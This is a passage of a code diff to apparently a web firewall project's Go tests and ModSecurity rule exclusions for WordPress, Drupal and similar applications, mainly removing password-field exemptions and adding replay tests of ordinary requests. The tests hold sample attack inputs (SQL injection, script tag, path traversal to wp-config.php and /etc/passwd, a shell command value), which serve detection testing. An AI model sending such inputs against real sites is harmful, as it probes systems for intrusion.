for _, attack := range []string{
|
||||
@@ -1069,6 +804,46 @@ const (
|
||||
wpTags = "/wp-json/wp/v2/tags"
|
||||
)
|
||||
|
||||
// recordedRequest is a line of a file of recorded requests in testdata.
|
||||
type recordedRequest struct {
|
||||
Method string `json:"method"`
|
||||
Target string `json:"target"`
|
||||
Headers []string `json:"headers"`
|
||||
Body string `json:"body"`
|
||||
}
|
||||
|
||||
// recordedRequests returns the recorded ordinary requests in the file name
|
||||
// in testdata, each with its body.
|
||||
func recordedRequests(t *testing.T, name string) []recordedRequest {
|
||||
t.Helper()
|
||||
|
||||
path := filepath.Join("testdata", name)
|
||||
|
||||
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []recordedRequest
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
if strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
var r recordedRequest
|
||||
|
||||
err := json.Unmarshal([]byte(line), &r)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", line, err)
|
||||
}
|
||||
|
||||
requests = append(requests, r)
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
||||
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
|
||||
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
@@ -1134,13 +909,33 @@ func wordpressAttackTargets(attack string) []string {
|
||||
}
|
||||
}
|
||||
|
||||
func TestWordPressAttacksAreRefused(t *testing.T) {
|
||||
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||
|
||||
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
// As in wantRecordedRequestsPass, a request with a body passes at
|
||||
// the defaults if it passes while bodies are read.
|
||||
crs := defaults
|
||||
if recorded.Body != "" {
|
||||
crs = bodies
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
for _, attack := range []string{
|
||||
sqlInjection,
|
||||
"..%2F..%2Fwp-config.php",
|
||||
@@ -1626,36 +1421,6 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
||||
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
||||
}
|
||||
|
||||
func TestWordPressPasswordsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
||||
|
||||
wantRandomPasswordsPass(t, signIn, "pwd")
|
||||
wantPasswordAttacksPass(t, signIn, "pwd")
|
||||
wantPasswordAttacksRefused(t, signIn, "pwd")
|
||||
}
|
||||
|
||||
func TestWordPressPasswordFieldsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
pass := []string{"pass1", "pass2"}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{wpLogin + "?action=resetpass", formData, pass},
|
||||
{wpLogin + "?action=postpass", formData, []string{"post_password"}},
|
||||
{"/wp-admin/profile.php", formData, pass},
|
||||
{"/wp-admin/user-edit.php?user_id=2", formData, pass},
|
||||
{"/wp-admin/user-new.php", formData, pass},
|
||||
{"/wp-admin/network/user-edit.php?user_id=2", formData, pass},
|
||||
{"/wp-admin/network/profile.php", formData, pass},
|
||||
{"/wp-admin/user/profile.php", formData, pass},
|
||||
{"/wp-json/wp/v2/users", jsonBody, []string{passwordKey}},
|
||||
{"/wp-json/wp/v2/users/me", formData, []string{passwordKey}},
|
||||
{"/index.php?rest_route=/wp/v2/users/2", jsonBody, []string{passwordKey}},
|
||||
})
|
||||
}
|
||||
|
||||
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -1713,9 +1478,6 @@ const injection = "1' OR '1'='1"
|
||||
// scriptTag is a script injection, not escaped.
|
||||
const scriptTag = "<script>alert(1)</script>"
|
||||
|
||||
// pathTraversal is a path traversal, not escaped.
|
||||
const pathTraversal = "../../etc/passwd"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
|
||||
@@ -184,92 +184,6 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
||||
|
||||
# The password, pass, skips each rule that random passwords set off.
|
||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
||||
"id:900819,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
|
||||
|
||||
# The passwords when signing up, changing the password and adding a user skip
|
||||
# the same rules:
|
||||
# pass[pass1], pass[pass2], current_pass: the forms at /user/register,
|
||||
# /user/<id>/edit and /admin/people/create
|
||||
# json.pass.value, json.pass.0.value, json.pass.0.existing: a client signing up
|
||||
# or changing the password in Drupal's JSON format
|
||||
# json.data.attributes.pass.value, .existing: a JSON:API client doing the same
|
||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+(?:/edit)?|admin/people/create|jsonapi/user/user(?:/[^/]+)?)$" \
|
||||
"id:900820,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/"
|
||||
|
||||
# A person's name and email address, when signing up, when editing an
|
||||
# account and when commenting without an account. A name of python3 refused
|
||||
# signing up, and python3@example.com refused saving an account. An address
|
||||
|
||||
@@ -19,12 +19,6 @@ const drupalSignIn = "/user/login"
|
||||
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
||||
const drupalJSONSignIn = "/user/login?_format=json"
|
||||
|
||||
// drupalRegister is Drupal's sign-up form.
|
||||
const drupalRegister = "/user/register"
|
||||
|
||||
// drupalJSONRegister is Drupal's sign-up in its JSON format.
|
||||
const drupalJSONRegister = "/user/register?_format=json"
|
||||
|
||||
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
|
||||
const drupalJSONPasswordReset = "/user/password?_format=json"
|
||||
|
||||
@@ -37,6 +31,12 @@ const drupalEditAccount = "/user/2/edit"
|
||||
// drupalName is the field for a person's name, as the start of a form body.
|
||||
const drupalName = "name="
|
||||
|
||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||
}
|
||||
|
||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, as a query value.
|
||||
//
|
||||
@@ -109,9 +109,10 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{reply, drupalName + attack},
|
||||
{drupalSignIn, "pass=" + attack},
|
||||
{drupalSignIn, drupalName + attack},
|
||||
{"/fr/user/login", drupalName + attack},
|
||||
{drupalRegister, drupalName + attack},
|
||||
{"/user/register", drupalName + attack},
|
||||
{drupalEditAccount, "mail=" + attack},
|
||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
|
||||
@@ -171,45 +172,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalPasswordPasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, r := range []request{
|
||||
{http.MethodPost, drupalSignIn, []string{formData}},
|
||||
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
|
||||
} {
|
||||
t.Run(r.target, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRandomPasswordsPass(t, r, "pass")
|
||||
wantPasswordAttacksPass(t, r, "pass")
|
||||
wantPasswordAttacksRefused(t, r, "pass")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalPasswordFieldsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const value = "pass.0.value"
|
||||
|
||||
pass := []string{"pass[pass1]", "pass[pass2]"}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{drupalRegister, formData, pass},
|
||||
{"/fr/user/register", formData, pass},
|
||||
{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
|
||||
{"/admin/people/create", formData, pass},
|
||||
{drupalJSONRegister, jsonBody, []string{value}},
|
||||
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
|
||||
{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
|
||||
{
|
||||
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
|
||||
[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -302,7 +264,7 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
|
||||
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
|
||||
{drupalSignIn, drupalName},
|
||||
{drupalRegister, drupalName},
|
||||
{"/user/register", drupalName},
|
||||
{drupalEditAccount, "mail="},
|
||||
{"/comment/reply/node/1/comment", drupalName},
|
||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
|
||||
@@ -495,7 +457,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
// on a path other than the password reset.
|
||||
for _, target := range []string{
|
||||
drupalJSONPasswordReset + "&json.name=python3",
|
||||
drupalJSONRegister,
|
||||
"/user/register?_format=json",
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||
|
||||
@@ -508,7 +470,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
// So does the JSON field mail.
|
||||
for _, target := range []string{
|
||||
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
||||
drupalJSONRegister,
|
||||
"/user/register?_format=json",
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||
|
||||
|
||||
@@ -289,50 +289,3 @@ SecRule REQUEST_FILENAME \
|
||||
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
||||
"id:900640,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||
|
||||
# The passwords skip each rule that random passwords set off:
|
||||
# password: signing in, signing up, linking an account, activating an account,
|
||||
# resetting or changing the password, deleting an account, and creating or
|
||||
# editing a user on the admin pages
|
||||
# retype: signing up, linking an account by signing up, and changing the
|
||||
# password
|
||||
# old_password: changing the password
|
||||
# json.password: creating or editing a user through the admin API
|
||||
SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_account_signup|activate|recover_account|settings/(?:change_password|account(?:/delete)?))$|^/(?:-/)?admin/users/(?:new|[0-9]+/edit)$|^/api/v1/admin/users(?:/[^/]+)?$" \
|
||||
"id:900650,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:password|retype|old_password|json\.password)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
|
||||
@@ -176,87 +176,6 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
|
||||
|
||||
# The passwords named above skip each rule that random passwords set off, and
|
||||
# so does form_challenge[current_password]: confirming the password at
|
||||
# /auth/challenge, or on the two-factor settings pages that ask for it again.
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete|two_factor_authentication(?:_methods)?)|auth)(?:/|$)" \
|
||||
"id:900965,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
|
||||
